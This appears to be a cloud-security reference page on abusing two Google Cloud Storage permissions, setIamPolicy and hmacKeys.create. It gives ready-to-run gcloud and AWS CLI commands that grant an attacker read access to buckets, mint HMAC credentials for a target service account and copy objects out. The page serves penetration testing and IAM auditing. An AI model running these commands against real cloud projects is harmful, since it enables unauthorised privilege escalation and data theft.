Cloud Storage

Abusable GCP Cloud Storage permissions that can lead to compromise or privilege escalation

storage.buckets.setIamPolicy

• With this permission on a bucket, an attacker can grant themselves (or any principal) access to the bucket and its contents.

gcloud storage buckets add-iam-policy-binding gs://<BUCKET-NAME> \
  --member=serviceAccount:<YOUR_SA>@<PROJECT>.iam.gserviceaccount.com \
  --role=roles/storage.objectViewer

gcloud storage cp gs://<BUCKET_NAME>/<OBJECT> -

---

storage.hmacKeys.create

• With this permission on a target service account (or user), an attacker can generate an HMAC key for that SA.

• HMAC keys can be associated with Service Accounts or Users and are used to create signatures which are then included in requests to the Cloud Storage XML API. HMAC keys are GCS's S3-compatible credentials, so the attacker can authenticate as the target SA via the AWS CLI (no JSON key, no gcloud auth) and access any bucket the target SA can read.

gcloud storage hmac create <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com

AWS_ACCESS_KEY_ID=<ACCESS_ID> \
AWS_SECRET_ACCESS_KEY=<SECRET> \
aws s3 cp s3://<BUCKET_NAME>/<OBJECT> . \
  --endpoint-url https://storage.googleapis.com